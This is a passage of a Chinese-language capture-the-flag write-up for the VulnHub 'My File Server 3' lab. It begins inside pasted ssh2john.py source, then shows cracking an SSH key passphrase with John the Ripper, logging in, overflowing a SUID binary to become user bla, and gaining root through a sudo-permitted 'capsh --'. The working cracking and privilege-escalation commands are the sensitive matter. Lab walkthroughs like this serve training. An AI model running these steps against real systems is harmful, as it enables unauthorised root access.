secret is revealed. This format is compatible with that used to store
public key files or recognized host keys.

@return: a base64 string containing the public part of the key.
@rtype: str
"""
return base64.encodestring(str(self)).replace('\n', '')

def sign_ssh_data(self, rng, data):
"""
Sign a blob of data with this private key, and return a L{Message}
representing an SSH signature message.

@param rng: a secure random number generator.
@type rng: L{Crypto.Util.rng.RandomPool}
@param data: the data to sign.
@type data: str
@return: an SSH signature message.
@rtype: L{Message}
"""
return ''

def verify_ssh_sig(self, data, msg):
"""
Given a blob of data, and an SSH message representing a signature of
that data, verify that it was signed with this key.

@param data: the data that was signed.
@type data: str
@param msg: an SSH signature message
@type msg: L{Message}
@return: C{True} if the signature verifies correctly; C{False}
otherwise.
@rtype: boolean
"""
return False

def from_private_key_file(cls, filename, password=None):
"""
Create a key object by reading a private key file. If the private
key is encrypted and C{password} is not C{None}, the given password
will be used to decrypt the key (otherwise L{PasswordRequiredException}
is thrown). Through the magic of python, this factory method will
exist in all subclasses of PKey (such as L{RSAKey} or L{DSSKey}), but
is useless on the abstract PKey class.

@param filename: name of the file to read
@type filename: str
@param password: an optional password to use to decrypt the key file,
if it's encrypted
@type password: str
@return: a new key object based on the given private key
@rtype: L{PKey}

@raise IOError: if there was an error reading the file
@raise PasswordRequiredException: if the private key file is
encrypted, and C{password} is C{None}
@raise SSHException: if the key file is invalid
"""
key = cls(filename=filename, password=password)
return key
from_private_key_file = classmethod(from_private_key_file)

def from_private_key(cls, file_obj, password=None):
"""
Create a key object by reading a private key from a file (or file-like)
object. If the private key is encrypted and C{password} is not C{None},
the given password will be used to decrypt the key (otherwise
L{PasswordRequiredException} is thrown).

@param file_obj: the file to read from
@type file_obj: file
@param password: an optional password to use to decrypt the key, if it's
encrypted
@type password: str
@return: a new key object based on the given private key
@rtype: L{PKey}

@raise IOError: if there was an error reading the key
@raise PasswordRequiredException: if the private key file is encrypted,
and C{password} is C{None}
@raise SSHException: if the key file is invalid
"""
key = cls(file_obj=file_obj, password=password)
return key
from_private_key = classmethod(from_private_key)

def _read_private_key_file(self, tag, filename, password=None):
"""
Read an SSH2-format private key file, looking for a string of the type
C{"BEGIN xxx PRIVATE KEY"} for some C{xxx}, base64-decode the text we
find, and return it as a string. If the private key is encrypted and
C{password} is not C{None}, the given password will be used to decrypt
the key (otherwise L{PasswordRequiredException} is thrown).

@param tag: C{"RSA"} or C{"DSA"}, the tag used to mark the data block.
@type tag: str
@param filename: name of the file to read.
@type filename: str
@param password: an optional password to use to decrypt the key file,
if it's encrypted.
@type password: str
@return: data blob that makes up the private key.
@rtype: str

@raise IOError: if there was an error reading the file.
@raise PasswordRequiredException: if the private key file is
encrypted, and C{password} is C{None}.
@raise SSHException: if the key file is invalid.
"""
try:
f = open(filename, 'r')
except IOError:
e = sys.exc_info()[1]
sys.stdout.write("%s\n" % str(e))
return

data = self._read_private_key(tag, f, password)
f.close()
return data

def _read_private_key(self, tag, f, password=None):
lines = f.readlines()

if "BEGIN RSA PRIVATE" in lines[0]:
tag = "RSA"
self.type = 0
elif "-----BEGIN OPENSSH PRIVATE KEY-----" in lines[0]:
# new private key format for OpenSSH (automatically enabled for
# keys using ed25519 signatures), ed25519 stuff is not supported
# yet!
self.type = 2 # bcrypt pbkdf + aes-256-cbc
else:
self.type = 1
tag = "DSA"

start = 0
while (start < len(lines)) and ((lines[start].strip() != '-----BEGIN ' + tag + ' PRIVATE KEY-----') and (lines[start].strip() != '-----BEGIN OPENSSH PRIVATE KEY-----')):
start += 1
if start >= len(lines):
sys.stdout.write("%s is not a valid private key file\n" % f.name)
return None
# parse any headers first
headers = {}
start += 1
while start < len(lines):
l = lines[start].split(': ')
if len(l) == 1:
break
headers[l[0].lower()] = l[1].strip()
start += 1
# find end
end = start
while ((lines[end].strip() != '-----END OPENSSH PRIVATE KEY-----') and (lines[end].strip() != '-----END ' + tag + ' PRIVATE KEY-----')) and (end < len(lines)):
end += 1
# if we trudged to the end of the file, just try to cope.
try:
data = ''.join(lines[start:end]).encode()
data = base64.decodestring(data)
except base64.binascii.Error:
e = sys.exc_info()[1]
raise SSHException('base64 decoding error: ' + str(e))

if 'proc-type' not in headers and self.type != 2:
# unencryped: done
sys.stderr.write("%s has no password!\n" % f.name)
return None
# encrypted keyfile: will need a password
if self.type != 2 and headers['proc-type'] != '4,ENCRYPTED':
raise SSHException('Unknown private key structure "%s"' % headers['proc-type'])
try:
encryption_type, saltstr = headers['dek-info'].split(',')
except:
if self.type != 2:
raise SSHException('Can\'t parse DEK-info in private key file')
else:
encryption_type = "AES-256-CBC"
saltstr = "fefe"
if encryption_type not in self._CIPHER_TABLE:
raise SSHException('Unknown private key cipher "%s"' % encryption_type)
# if no password was passed in, raise an exception pointing out that we need one
if password is None:
raise PasswordRequiredException('Private key file is encrypted')
cipher = self._CIPHER_TABLE[encryption_type]['cipher']
keysize = self._CIPHER_TABLE[encryption_type]['keysize']
mode = self._CIPHER_TABLE[encryption_type]['mode']
salt = unhexlify(saltstr)
if self.type == 2:
salt_offset = 47 # XXX is this fixed?
salt_length = 16
saltstr = data[salt_offset:salt_offset+salt_length].encode("hex")
data = binascii.hexlify(data).decode("ascii")
if keysize == 24:
self.hashline = "%s:$sshng$%s$%s$%s$%s$%s" % (f.name, 0,
len(salt), saltstr, len(data) // 2, data)
elif keysize == 16:
self.hashline = "%s:$sshng$%s$%s$%s$%s$%s" % (f.name, 1, len(saltstr) // 2,
saltstr, len(data) // 2, data)
elif keysize == 32 and self.type == 2: # bcrypt pbkdf + aes-256-cbc
# round value appears after salt
rounds = 16
self.hashline = "%s:$sshng$%s$%s$%s$%s$%s$%d" % (f.name, 2, len(saltstr) // 2,
saltstr, len(data) // 2, data, rounds)
else:
sys.stderr.write("%s uses unsupported cipher, please file a bug!\n" % f.name)
return None

if not limited:
key = generate_key_bytes(MD5, salt, password, keysize)
data = cipher.new(key, mode, salt).decrypt(data)
# check encoding
try:
d = PKCS7Encoder()
ddata = d.decode(data)
return ddata
except ValueError: # incorrect password
return data
return self.hashline # dummy value


def chunks(l, n):
for i in xrange(0, len(l), n):
yield l[i:i + n]


class RSADSSKey (PKey):

def __init__(self, msg=None, data=None, filename=None, password=None, vals=None, file_obj=None):
self.n = None
self.e = None
self.d = None
self.p = None
self.q = None
if file_obj is not None:
self._from_private_key(file_obj, password)
return
if filename is not None:
self._from_private_key_file(filename, password)
return
if vals is not None:
self.e, self.n = vals
self.size = bit_length(self.n)

def __hash__(self):
h = hash(self.get_name())
h = h * 37 + hash(self.e)
h = h * 37 + hash(self.n)
return hash(h)

def get_name(self):
return 'ssh-rsa'

def get_bits(self):
return self.size

### internals...

def _from_private_key_file(self, filename, password):
data = self._read_private_key_file('RSA', filename, password)

if not data:
return
if limited:
sys.stdout.write("%s\n" % self.hashline)
return
try:
if self.type == 0:
self._decode_key(data)
else:
self._decode_dss_key(data)
sys.stderr.write("%s has no password!\n" % filename)
except SSHException:
sys.stdout.write("%s\n" % self.hashline)

def _from_private_key(self, file_obj, password):
"""used for converting older format hashes"""
data = self._read_private_key('RSA', file_obj, password)
if limited:
sys.stdout.write("%s\n" % self.hashline)
return
try:
if self.type == 0:
self._decode_key(data)
else:
self._decode_dss_key(data)
sys.stderr.write("%s has no password!\n" % file_obj.name)
except SSHException:
sys.stdout.write("%s\n" % self.hashline)

def _decode_key(self, data):
# private key file contains:
# RSAPrivateKey = { version = 0, n, e, d, p, q, d mod p-1, d mod q-1, q**-1 mod p }
try:
keylist = BER(data).decode()
except BERException:
raise SSHException('Unable to parse key file')
if (type(keylist) is not list) or (len(keylist) < 4) or (keylist[0] != 0):
raise SSHException('Not a valid RSA private key file (bad ber encoding)')
self.n = keylist[1]
self.e = keylist[2]
self.d = keylist[3]
# not really needed
self.p = keylist[4]
self.q = keylist[5]
self.size = bit_length(self.n)

def _decode_dss_key(self, data):
# private key file contains:
# DSAPrivateKey = { version = 0, p, q, g, y, x }
try:
keylist = BER(data).decode()
except BERException:
e = sys.exc_info()[1]
raise SSHException('Unable to parse key file: ' + str(e))
if (type(keylist) is not list) or (len(keylist) < 6) or \
(keylist[0] != 0):
raise SSHException('not a valid DSA private key file (bad ber encoding)')
self.p = keylist[1]
self.q = keylist[2]
self.g = keylist[3]
self.y = keylist[4]
self.x = keylist[5]
self.size = bit_length(self.p)


# PKCS7Encoder is borrowed from http://japrogbits.blogspot.in/
class PKCS7Encoder(object):
'''
RFC 2315: PKCS#7 page 21
Some content-encryption algorithms assume the
input length is a multiple of k octets, where k > 1, and
let the application define a method for handling inputs
whose lengths are not a multiple of k octets. For such
algorithms, the method shall be to pad the input at the
trailing end with k - (l mod k) octets all having value k -
(l mod k), where l is the length of the input. In other
words, the input is padded at the trailing end with one of
the following strings:

01 -- if l mod k = k-1
02 02 -- if l mod k = k-2
.
.
.
k k ... k k -- if l mod k = 0

The padding can be removed unambiguously since all input is
padded and no padding string is a suffix of another. This
padding method is well-defined if and only if k < 256;
methods for larger k are an open issue for further study.
'''
def __init__(self, k=16):
self.k = k

## @param text The padded text for which the padding is to be removed.
# @exception ValueError Raised when the input padding is missing or corrupt.
def decode(self, text):
'''
Remove the PKCS#7 padding from a text string
'''
nl = len(text)
val = int(binascii.hexlify(text[-1]), 16)
if val > self.k:
raise ValueError('Input is not padded or padding is corrupt')

l = nl - val
return text[:l]

## @param text The text to encode.
def encode(self, text):
'''
Pad an input string according to PKCS#7
'''
l = len(text)
output = StringIO()
val = self.k - (l % self.k)
for _ in xrange(val):
output.write('%02x' % val)
return text + binascii.unhexlify(output.getvalue())


if __name__ == "__main__":

if len(sys.argv) < 2:
sys.stdout.write("Usage: %s < RSA/DSA private key files >\n" % \
sys.argv[0])

for filename in sys.argv[1:]:
key = RSADSSKey.from_private_key_file(filename, '')

破解得到密码为password

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
root@JIYE:~/vulnhub/ck00# vim ssh2john.py
root@JIYE:~/vulnhub/ck00#
root@JIYE:~/vulnhub/ck00# chmod +x ssh2john.py
root@JIYE:~/vulnhub/ck00# ./ssh2john.py id_rsa > id.hash
root@JIYE:~/vulnhub/ck00# ls
id.hash id_rsa nmap.CVT nmap.sP ssh2john.py sshd_config
root@JIYE:~/vulnhub/ck00# john id
id.hash id_rsa
root@JIYE:~/vulnhub/ck00# john id.hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
password (id_rsa)
Warning: Only 2 candidates left, minimum 4 needed for performance.
1g 0:00:00:03 DONE (2020-09-25 20:47) 0.2754g/s 3950Kp/s 3950Kc/s 3950KC/sa6_123..*7¡Vamos!
Session completed
root@JIYE:~/vulnhub/ck00#

0x09.登入

修改id_rsa权限为600

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
root@JIYE:~/vulnhub/ck00# chmod 600 id_rsa 
root@JIYE:~/vulnhub/ck00# ssh -i id_rsa smbuser@192.168.1.14
load pubkey "id_rsa": invalid format

##############################################################################################
# InfoSec Warrior #
# --------- www.InfoSecWarrior.com ------------ #
# My File Server - 3 #
# Just a simple addition to the problem #
# Designed By :- CyberKnight #
# Twitter :- @CyberKnight00 #
##############################################################################################

Enter passphrase for key 'id_rsa':
Last login: Thu Mar 19 10:15:35 2020 from 192.168.56.1
[smbuser@fileserver ~]$ whoami
smbuser
[smbuser@fileserver ~]$

0x10.提权

查看用户,有一个bla

1
2
3
4
[smbuser@fileserver bin]$ cd /home
[smbuser@fileserver home]$ ls
bla smbuser
[smbuser@fileserver home]$

查找后期安装软件的运行脚本

1
2
3
4
[smbuser@fileserver home]$ cd /usr/bin/
[smbuser@fileserver bin]$ ls -la | grep bla
-rwsr-xr-x 1 bla bla 7546 2月 27 2020 esclate
[smbuser@fileserver bin]$

经过查发现esclate存在bufferoverflow(缓冲区溢出)

1
2
3
4
5
6
7
[smbuser@fileserver bin]$ ./esclate 
1
Why are you here ?!
[smbuser@fileserver bin]$ ./esclate
1111111111111111111111111111111111111111111111111111111111
段错误
[smbuser@fileserver bin]$

输入34个字符,即可正确溢出

1
2
3
4
5
[smbuser@fileserver bin]$ ./esclate 
1111111111111111111111111111111111
sh-4.2$ whoami
bla
sh-4.2$

提权

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
sh-4.2$ cd /home/bla/
sh-4.2$ ls
user.txt ynetd
sh-4.2$ cat user.txt


_____ _ _ ____ _____
| ___(_) | ___/ ___| ___ _ ____ _____ _ __ |___ /
| |_ | | |/ _ \___ \ / _ \ '__\ \ / / _ \ '__| _____ |_ \
| _| | | | __/___) | __/ | \ V / __/ | |_____| ___) |
|_| |_|_|\___|____/ \___|_| \_/ \___|_| |____/



Flag : 0aab4a2c6d75db7ca2542e0dacc3a30f

you can crack this hash, because it is also my pasword

note: crack it, itiseasy
sh-4.2$

根据提示,flag就是bla密码,下面进行解码

解码为itiseasy

登入bla

1
2
3
sh-4.2$ su bla
密码:
[bla@fileserver ~]$

提权,可以看到/usr/sbin/capsh不需要密码

1
2
3
4
5
6
7
8
9
10
[bla@fileserver ~]$ sudo -l
匹配此主机上 bla 的默认条目:
requiretty, !visiblepw, always_set_home, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE INPUTRC KDEDIR LS_COLORS",
env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT
LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS
_XKB_CHARSET XAUTHORITY", secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

用户 bla 可以在该主机上运行以下命令:
(ALL) NOPASSWD: /usr/sbin/capsh, (ALL) /usr/sbin/setcap
[bla@fileserver ~]$

查看/usr/sbin/capsh参数,可以看到--为重新生成参数/bin/bash

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
[bla@fileserver ~]$ /usr/sbin/capsh -h
usage: /usr/sbin/capsh [args ...]
--help this message (or try 'man capsh')
--print display capability relevant state
--decode=xxx decode a hex string to a list of caps
--supports=xxx exit 1 if capability xxx unsupported
--drop=xxx remove xxx,.. capabilities from bset
--caps=xxx set caps as per cap_from_text()
--inh=xxx set xxx,.. inheritiable set
--secbits=<n> write a new value for securebits
--keep=<n> set keep-capabability bit to <n>
--uid=<n> set uid to <n> (hint: id <username>)
--gid=<n> set gid to <n> (hint: id <username>)
--groups=g,... set the supplemental groups
--user=<name> set uid,gid and groups to that of user
--chroot=path chroot(2) to this path
--killit=<n> send signal(n) to child
--forkfor=<n> fork and make child sleep for <n> sec
== re-exec(capsh) with args as for --
-- remaing arguments are for /bin/bash
(without -- [/usr/sbin/capsh] will simply exit(0))
[bla@fileserver ~]$

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
[bla@fileserver ~]$ sudo /usr/sbin/capsh --
[root@fileserver bla]# whoami
root
[root@fileserver bla]# cd
[root@fileserver ~]# ls
proof.txt
[root@fileserver ~]# cat proof.txt
_______ __ _____ _____
/ ____(_) /__ / ___/___ ______ _____ _____ |__ /
/ /_ / / / _ \\__ \/ _ \/ ___/ | / / _ \/ ___/ ______ /_ <
/ __/ / / / __/__/ / __/ / | |/ / __/ / /_____/ ___/ /
/_/ /_/_/\___/____/\___/_/ |___/\___/_/ /____/


flag : 7be300997079eaebcdf9975ede6746e9
[root@fileserver ~]#
-------------纸短情长下次再见-------------